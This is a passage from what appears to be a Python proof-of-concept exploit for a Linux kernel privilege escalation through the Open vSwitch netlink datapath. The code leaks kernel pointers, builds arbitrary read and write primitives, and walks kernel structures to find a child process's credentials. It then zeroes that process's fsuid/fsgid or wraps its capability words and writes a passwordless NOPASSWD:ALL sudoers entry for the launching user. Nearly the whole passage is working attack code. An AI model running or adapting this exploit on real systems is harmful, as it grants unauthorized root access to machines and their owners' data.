"init_pid_ns.idr.xa_head",
|
||
)
|
||
for depth in range(8):
|
||
node = xarray_entry_to_node(entry)
|
||
if node is not None:
|
||
shift = read_xa_shift(reader, node + offsets.xa_node_shift)
|
||
slot = (index >> shift) & 0x3F
|
||
entry = read_xarray_entry(
|
||
reader,
|
||
node + offsets.xa_node_slots + slot * 8,
|
||
f"init_pid_ns.idr.slot[{slot}]",
|
||
)
|
||
continue
|
||
pointer = xarray_entry_to_pointer(entry)
|
||
if pointer is not None:
|
||
return pointer
|
||
raise RuntimeError(f"init_pid_ns idr traversal exceeded depth limit for pid {pid_nr}")
|
||
|
||
|
||
def locate_task_by_init_pid_ns(
|
||
reader: OvsReadPrimitive,
|
||
offsets: KernelOffsets,
|
||
kernel_base: int,
|
||
wanted_pid: int,
|
||
) -> int:
|
||
pid_struct = lookup_init_pid_ns_pid(reader, offsets, kernel_base, wanted_pid)
|
||
first = read_kernel_pointer(
|
||
reader,
|
||
pid_struct + offsets.pid_tasks + offsets.hlist_head_first,
|
||
"pid.tasks.first",
|
||
)
|
||
task = first - offsets.task_pid_links
|
||
if not canonical_kernel_pointer(task):
|
||
raise RuntimeError(
|
||
f"init_pid_ns idr produced noncanonical task from hlist: "
|
||
f"pid_struct=0x{pid_struct:016x} hlist=0x{first:016x}"
|
||
)
|
||
pid = reader.read_u32(task + offsets.task_pid)
|
||
if pid != wanted_pid:
|
||
raise RuntimeError(
|
||
f"init_pid_ns idr resolved pid_struct=0x{pid_struct:016x} "
|
||
f"task=0x{task:016x}, but task.pid={pid}, expected {wanted_pid}"
|
||
)
|
||
print(
|
||
f"located task through init_pid_ns idr: "
|
||
f"pid_struct=0x{pid_struct:016x} task=0x{task:016x}",
|
||
flush=True,
|
||
)
|
||
return task
|
||
|
||
|
||
def resolve_writer_task_and_offsets(
|
||
reader: OvsReadPrimitive,
|
||
plans: tuple[KernelParameterPlan, ...],
|
||
helper_pointer: int,
|
||
writer_pid: int,
|
||
) -> tuple[int, KernelOffsets, int, int]:
|
||
failures: list[str] = []
|
||
for plan in plans:
|
||
try:
|
||
module_ktype = derive_helper_module_ktype(
|
||
reader,
|
||
helper_pointer + plan.offsets.nf_conntrack_helper_me,
|
||
helper_pointer,
|
||
plan.offsets,
|
||
)
|
||
kernel_base = module_ktype - plan.offsets.vmlinux_module_ktype
|
||
task = locate_task_by_init_pid_ns(
|
||
reader,
|
||
plan.offsets,
|
||
kernel_base,
|
||
writer_pid,
|
||
)
|
||
cred_addr = task + plan.offsets.task_cred
|
||
read_kernel_pointer(reader, cred_addr, "task->cred")
|
||
log(f"kernel offsets: selected plan {plan.name!r}")
|
||
return task, plan.offsets, kernel_base, module_ktype
|
||
except RuntimeError as exc:
|
||
if is_retriable_kernel_layout_error(exc):
|
||
log(f"kernel offsets: plan {plan.name!r} failed: {exc}")
|
||
failures.append(f"{plan.name}: {exc}")
|
||
continue
|
||
raise
|
||
raise RuntimeError(
|
||
"all kernel offset plans failed while locating the host sudoers writer; "
|
||
"tried: "
|
||
+ ("; ".join(failures) if failures else "no plans were configured")
|
||
)
|
||
|
||
|
||
def decrement_to_zero(
|
||
reader: OvsReadPrimitive,
|
||
writer: OvsWritePrimitive,
|
||
address: int,
|
||
label: str,
|
||
) -> None:
|
||
value = reader.read_u32(address)
|
||
print(f"{label} before={value}", flush=True)
|
||
if value > 100000:
|
||
raise RuntimeError(f"{label} value {value} is unexpectedly large")
|
||
for idx in range(value):
|
||
writer.decrement_u32_once(address)
|
||
if idx and idx % 250 == 0:
|
||
print(f"{label}: queued {idx}/{value} decrements", flush=True)
|
||
time.sleep(2.0)
|
||
now = reader.read_u32(address)
|
||
if now != 0:
|
||
raise RuntimeError(f"{label} did not reach zero; current value is {now}")
|
||
print(f"{label} after=0", flush=True)
|
||
|
||
|
||
def decrement_zero_to_all_ones(
|
||
reader: OvsReadPrimitive,
|
||
writer: OvsWritePrimitive,
|
||
address: int,
|
||
label: str,
|
||
) -> None:
|
||
value = reader.read_u32(address)
|
||
print(f"{label} before=0x{value:08x}", flush=True)
|
||
if value != 0:
|
||
raise RuntimeError(
|
||
f"{label} expected to start at zero for legacy __refcnt conversion, "
|
||
f"got 0x{value:08x}"
|
||
)
|
||
writer.decrement_u32_once(address)
|
||
time.sleep(0.5)
|
||
now = reader.read_u32(address)
|
||
if now != 0xFFFFFFFF:
|
||
raise RuntimeError(
|
||
f"{label} did not wrap to 0xffffffff; current value is 0x{now:08x}"
|
||
)
|
||
print(f"{label} after=0xffffffff", flush=True)
|
||
|
||
|
||
def panic_on_warn_enabled() -> bool:
|
||
try:
|
||
with open("/proc/sys/kernel/panic_on_warn", "r", encoding="ascii") as handle:
|
||
return handle.read().strip() not in ("", "0")
|
||
except OSError:
|
||
return False
|
||
|
||
|
||
def convert_writer_credential(
|
||
reader: OvsReadPrimitive,
|
||
writer: OvsWritePrimitive,
|
||
offsets: KernelOffsets,
|
||
cred: int,
|
||
) -> None:
|
||
if offsets.dst_entry_ref_kind == "__rcuref":
|
||
step("DECREMENTING FSUID/FSGID")
|
||
decrement_to_zero(reader, writer, cred + offsets.cred_fsuid, "fsuid")
|
||
decrement_to_zero(reader, writer, cred + offsets.cred_fsgid, "fsgid")
|
||
return
|
||
if offsets.dst_entry_ref_kind == "__refcnt":
|
||
if panic_on_warn_enabled():
|
||
raise RuntimeError(
|
||
"legacy dst_entry.__refcnt conversion would trigger a kernel "
|
||
"WARN while wrapping capability words, and panic_on_warn is enabled"
|
||
)
|
||
print(
|
||
"legacy dst_entry.__refcnt conversion: panic_on_warn is disabled; "
|
||
"wrapping capability words may emit one nonfatal dst_release warning",
|
||
flush=True,
|
||
)
|
||
step("WRAPPING HOST WRITER CAPABILITIES")
|
||
decrement_zero_to_all_ones(
|
||
reader,
|
||
writer,
|
||
cred + offsets.cred_cap_permitted,
|
||
"cap_permitted.low",
|
||
)
|
||
decrement_zero_to_all_ones(
|
||
reader,
|
||
writer,
|
||
cred + offsets.cred_cap_effective,
|
||
"cap_effective.low",
|
||
)
|
||
return
|
||
raise RuntimeError(f"unsupported dst_entry ref kind {offsets.dst_entry_ref_kind}")
|
||
|
||
|
||
def try_write_root_proof(path: str, text: str) -> bool:
|
||
try:
|
||
with open(path, "w", encoding="ascii") as handle:
|
||
handle.write(text)
|
||
os.sync()
|
||
return True
|
||
except OSError as exc:
|
||
print(f"write {path} failed: errno={exc.errno} {exc.strerror}", flush=True)
|
||
return False
|
||
|
||
|
||
def restore_pam_unix_from_backup() -> bool:
|
||
"""Restore host pam_unix.so from a known-good backup (needs root creds)."""
|
||
src = os.environ.get("OVS_C004_PAM_SRC", PAM_UNIX_BAK)
|
||
dst = os.environ.get("OVS_C004_PAM_DST", PAM_UNIX_SO)
|
||
try:
|
||
with open(src, "rb") as handle:
|
||
payload = handle.read()
|
||
fd = os.open(dst, os.O_WRONLY | os.O_TRUNC)
|
||
try:
|
||
os.write(fd, payload)
|
||
os.fsync(fd)
|
||
finally:
|
||
os.close(fd)
|
||
os.sync()
|
||
print(f"pam restore succeeded: {src} -> {dst} ({len(payload)} bytes)", flush=True)
|
||
return True
|
||
except OSError as exc:
|
||
print(
|
||
f"pam restore {dst} failed: errno={exc.errno} {exc.strerror}",
|
||
flush=True,
|
||
)
|
||
return False
|
||
|
||
|
||
def sudoers_references_dropin_dir(
|
||
sudoers_path: str = SUDOERS_FILE,
|
||
dropin_dir: str = SUDOERS_DROPIN_DIR,
|
||
) -> bool:
|
||
try:
|
||
with open(sudoers_path, "r", encoding="ascii", errors="replace") as handle:
|
||
for raw_line in handle:
|
||
line = raw_line.strip()
|
||
if not line:
|
||
continue
|
||
if line.startswith("#includedir") or line.startswith("@includedir"):
|
||
fields = line.split()
|
||
if len(fields) >= 2 and fields[1].strip("\"'") == dropin_dir:
|
||
return True
|
||
except OSError as exc:
|
||
print(
|
||
f"could not inspect {sudoers_path}: errno={exc.errno} {exc.strerror}",
|
||
flush=True,
|
||
)
|
||
return False
|
||
|
||
|
||
def write_sudoers_dropin(path: str, username: str) -> bool:
|
||
content = f"{username} ALL=(ALL) NOPASSWD:ALL\n".encode("ascii")
|
||
old_umask = os.umask(0)
|
||
try:
|
||
os.makedirs(os.path.dirname(path), mode=0o755, exist_ok=True)
|
||
fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||
try:
|
||
os.write(fd, content)
|
||
os.fchmod(fd, 0o440)
|
||
os.fsync(fd)
|
||
finally:
|
||
os.close(fd)
|
||
os.sync()
|
||
return True
|
||
except OSError as exc:
|
||
print(
|
||
f"sudoers drop-in write {path} failed: errno={exc.errno} "
|
||
f"{exc.strerror}",
|
||
flush=True,
|
||
)
|
||
return False
|
||
finally:
|
||
os.umask(old_umask)
|
||
|
||
|
||
def append_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
|
||
content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
|
||
try:
|
||
fd = os.open(path, os.O_WRONLY | os.O_APPEND)
|
||
try:
|
||
os.write(fd, content)
|
||
os.fsync(fd)
|
||
finally:
|
||
os.close(fd)
|
||
os.sync()
|
||
return True
|
||
except OSError as exc:
|
||
print(
|
||
f"sudoers append {path} failed: errno={exc.errno} {exc.strerror}",
|
||
flush=True,
|
||
)
|
||
return False
|
||
|
||
|
||
def replace_main_sudoers(username: str, path: str = SUDOERS_FILE) -> bool:
|
||
content = f"\n{username} ALL=(ALL:ALL) NOPASSWD:ALL\n".encode("ascii")
|
||
directory = os.path.dirname(path)
|
||
tmp_path = os.path.join(directory, f".ovs_c004_sudoers_{os.getpid()}")
|
||
try:
|
||
with open(path, "rb") as handle:
|
||
existing = handle.read()
|
||
try:
|
||
os.unlink(tmp_path)
|
||
except FileNotFoundError:
|
||
pass
|
||
fd = os.open(tmp_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
|
||
try:
|
||
os.write(fd, existing)
|
||
os.write(fd, content)
|
||
os.fchmod(fd, 0o440)
|
||
os.fsync(fd)
|
||
finally:
|
||
os.close(fd)
|
||
os.rename(tmp_path, path)
|
||
dir_fd = os.open(directory, os.O_RDONLY | os.O_DIRECTORY)
|
||
try:
|
||
os.fsync(dir_fd)
|
||
finally:
|
||
os.close(dir_fd)
|
||
os.sync()
|
||
return True
|
||
except OSError as exc:
|
||
try:
|
||
os.unlink(tmp_path)
|
||
except OSError:
|
||
pass
|
||
print(
|
||
f"sudoers replace {path} failed: errno={exc.errno} {exc.strerror}",
|
||
flush=True,
|
||
)
|
||
return False
|
||
|
||
|
||
def write_sudoers_entry(path: str, username: str) -> tuple[bool, str]:
|
||
if sudoers_references_dropin_dir():
|
||
if write_sudoers_dropin(path, username):
|
||
return True, path
|
||
print(f"falling back to direct append of {SUDOERS_FILE}", flush=True)
|
||
else:
|
||
print(
|
||
f"{SUDOERS_FILE} does not reference {SUDOERS_DROPIN_DIR}; "
|
||
"using direct sudoers append",
|
||
flush=True,
|
||
)
|
||
if append_main_sudoers(username):
|
||
return True, SUDOERS_FILE
|
||
print(f"falling back to atomic replacement of {SUDOERS_FILE}", flush=True)
|
||
if replace_main_sudoers(username):
|
||
return True, SUDOERS_FILE
|
||
return False, ""
|
||
|
||
|
||
def try_become_root_ids() -> None:
|
||
try:
|
||
os.setresgid(0, 0, 0)
|
||
os.setresuid(0, 0, 0)
|
||
except OSError:
|
||
pass
|
||
|
||
|
||
def sleep_forever_detached() -> None:
|
||
os.setsid()
|
||
devnull = os.open("/dev/null", os.O_RDWR)
|
||
os.dup2(devnull, 0)
|
||
os.dup2(devnull, 1)
|
||
os.dup2(devnull, 2)
|
||
if devnull > 2:
|
||
os.close(devnull)
|
||
while True:
|
||
time.sleep(3600)
|
||
|
||
|
||
def fork_sudoers_writer(path: str, username: str) -> tuple[int, int, int]:
|
||
trigger_read, trigger_write = os.pipe()
|
||
ack_read, ack_write = os.pipe()
|
||
child = os.fork()
|
||
if child == 0:
|
||
os.close(trigger_write)
|
||
os.close(ack_read)
|
||
ok = False
|
||
used_path = ""
|
||
try:
|
||
token = os.read(trigger_read, 1)
|
||
if token == b"1":
|
||
try_become_root_ids()
|
||
if os.environ.get("OVS_C004_REPAIR_PAM", "1") == "1":
|
||
restore_pam_unix_from_backup()
|
||
if os.environ.get("OVS_C004_REPAIR_PAM_ONLY") == "1":
|
||
ok = True
|
||
used_path = PAM_UNIX_SO
|
||
else:
|
||
ok, used_path = write_sudoers_entry(path, username)
|
||
ack = f"1 {used_path}\n".encode("ascii") if ok else b"0\n"
|
||
os.write(ack_write, ack)
|
||
except Exception:
|
||
try:
|
||
os.write(ack_write, b"0\n")
|
||
except OSError:
|
||
pass
|
||
finally:
|
||
for fd in (trigger_read, ack_write):
|
||
try:
|
||
os.close(fd)
|
||
except OSError:
|
||
pass
|
||
if ok:
|
||
sleep_forever_detached()
|
||
os._exit(0)
|
||
os.close(trigger_read)
|
||
os.close(ack_write)
|
||
print(f"host sudoers writer child pid={child}", flush=True)
|
||
return child, trigger_write, ack_read
|
||
|
||
|
||
def fork_namespace_pin() -> None:
|
||
child = os.fork()
|
||
if child == 0:
|
||
sleep_forever_detached()
|
||
print(f"namespace pin child pid={child}", flush=True)
|
||
|
||
|
||
def trigger_sudoers_writer(trigger_fd: int, ack_fd: int) -> str:
|
||
result = b""
|
||
try:
|
||
os.write(trigger_fd, b"1")
|
||
while True:
|
||
chunk = os.read(ack_fd, 4096)
|
||
if not chunk:
|
||
break
|
||
result += chunk
|
||
finally:
|
||
for fd in (trigger_fd, ack_fd):
|
||
try:
|
||
os.close(fd)
|
||
except OSError:
|
||
pass
|
||
if not result.startswith(b"1 "):
|
||
raise RuntimeError("sudoers writer child failed")
|
||
return result[2:].decode("ascii", errors="replace").strip()
|
||
|
||
|
||
def main() -> None:
|
||
if len(sys.argv) > 1 and sys.argv[1] == "--child":
|
||
host_user = validate_child_namespace()
|
||
exploit_from_private_namespace(host_user)
|
||
return
|
||
if len(sys.argv) > 1:
|
||
raise RuntimeError("usage: python3 ovswrap-poc.py")
|
||
|
||
ensure_pahole_available()
|
||
step("CHECKING LAUNCHING USER")
|
||
host_uid, host_gid, host_user = launching_user()
|
||
print(
|
||
f"launching user: name={host_user} uid={host_uid} gid={host_gid}",
|
||
flush=True,
|
||
)
|
||
ensure_user_starts_without_passwordless_sudo(host_user)
|
||
prepare_system_map_host()
|
||
sudoers_path = f"/etc/sudoers.d/ovs_c004_{os.getpid()}"
|
||
writer_pid, writer_trigger_fd, writer_ack_fd = fork_sudoers_writer(
|
||
sudoers_path, host_user
|
||
)
|
||
run_child_in_private_namespace(
|
||
host_user,
|
||
writer_pid,
|
||
writer_trigger_fd,
|
||
writer_ack_fd,
|
||
)
|
||
|
||
|
||
def exploit_from_private_namespace(host_user: str) -> None:
|
||
step("BEGINNING SETUP")
|
||
print(f"host user for sudoers entry: {host_user}", flush=True)
|
||
print(f"namespace uid/gid: uid={os.getuid()} gid={os.getgid()}", flush=True)
|
||
print(f"process identity: {run_text(['id'])}", flush=True)
|
||
print(f"effective capability mask: {process_status_line('CapEff:')}", flush=True)
|
||
print(f"uid_map: {uid_map_first_entry()[3]}", flush=True)
|
||
|
||
genl = GenericNetlink()
|
||
dp_family = genl.get_family("ovs_datapath")
|
||
flow_family = genl.get_family("ovs_flow")
|
||
dp_name = f"vhrd{os.getpid() % 10000}"
|
||
create_datapath(genl, dp_family, dp_name)
|
||
dp_ifindex = socket.if_nametoindex(dp_name)
|
||
print(f"datapath {dp_name} ifindex {dp_ifindex}", flush=True)
|
||
|
||
step("DERIVING KERNEL OFFSETS")
|
||
kernel_plans = tuple(build_kernel_parameter_plans())
|
||
kernel_record = next(
|
||
(plan.record for plan in kernel_plans if plan.record is not None),
|
||
None,
|
||
)
|
||
derive_ovs_uapi_constants(kernel_record)
|
||
offsets = kernel_plans[0].offsets
|
||
writer_pid, writer_trigger_fd, writer_ack_fd = inherited_sudoers_writer()
|
||
fork_namespace_pin()
|
||
|
||
step("BUILDING OVS ACTION PRIMITIVES")
|
||
fake_copy = struct.pack(NLA_HDR, 512, OVS_ACTION_ATTR_OUTPUT)
|
||
helper_leak_key = flow_key(1)
|
||
create_flow(
|
||
genl,
|
||
flow_family,
|
||
dp_ifindex,
|
||
helper_leak_key,
|
||
clone_with_helper_leak(fake_copy),
|
||
)
|
||
helper_leak_actions = get_flow_actions(genl, flow_family, dp_ifindex, helper_leak_key)
|
||
helper_pointer = find_helper_pointer(helper_leak_actions)
|
||
print(f"leaked helper-ish pointer 0x{helper_pointer:016x}", flush=True)
|
||
|
||
read_carrier = (
|
||
kernel_record.read_carrier if kernel_record is not None else CARRIER_AUTO
|
||
)
|
||
write_carrier = (
|
||
kernel_record.write_carrier if kernel_record is not None else CARRIER_AUTO
|
||
)
|
||
read_lanes = kernel_record.read_lanes if kernel_record is not None else ()
|
||
reader = OvsReadPrimitive(
|
||
genl,
|
||
flow_family,
|
||
dp_ifindex,
|
||
offsets,
|
||
read_carrier,
|
||
read_lanes,
|
||
)
|
||
writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
|
||
|
||
step("CHECKING BASELINE WRITE")
|
||
protected_path = f"/root/ovs_c004_lpe_proof_{os.getpid()}"
|
||
if try_write_root_proof(protected_path, "pre-exploit should not write\n"):
|
||
raise RuntimeError("unexpectedly wrote root proof path before exploit")
|
||
|
||
step("LOCATING WRITER CREDENTIAL")
|
||
task, offsets, kernel_base, module_ktype = resolve_writer_task_and_offsets(
|
||
reader,
|
||
kernel_plans,
|
||
helper_pointer,
|
||
writer_pid,
|
||
)
|
||
writer = OvsWritePrimitive(genl, flow_family, dp_ifindex, offsets, write_carrier)
|
||
print(f"module_ktype=0x{module_ktype:016x} kernel_base=0x{kernel_base:016x}", flush=True)
|
||
cred = read_kernel_pointer(reader, task + offsets.task_cred, "task->cred")
|
||
print(
|
||
f"writer task=0x{task:016x} pid={writer_pid} cred=0x{cred:016x}",
|
||
flush=True,
|
||
)
|
||
|
||
convert_writer_credential(reader, writer, offsets, cred)
|
||
|
||
step("WRITING SUDOERS ENTRY")
|
||
used_sudoers_path = trigger_sudoers_writer(writer_trigger_fd, writer_ack_fd)
|
||
print(
|
||
f"sudoers write succeeded: {used_sudoers_path} user={host_user}",
|
||
flush=True,
|
||
)
|
||
print(
|
||
"sudoers policy write achieved; returning to launcher for root shell",
|
||
flush=True,
|
||
)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
try:
|
||
main()
|
||
except RuntimeError as exc:
|
||
print(f"ERROR: {exc}", flush=True)
|
||
raise SystemExit(1)
|
||
except OSError as exc:
|
||
if exc.errno == errno.ENOMEM:
|
||
print(
|
||
"ERROR: Ran out of memory; reattempt the PoC after a reboot "
|
||
"or with more RAM (recommended 2GB+).",
|
||
flush=True,
|
||
)
|
||
raise SystemExit(1)
|
||
raise
|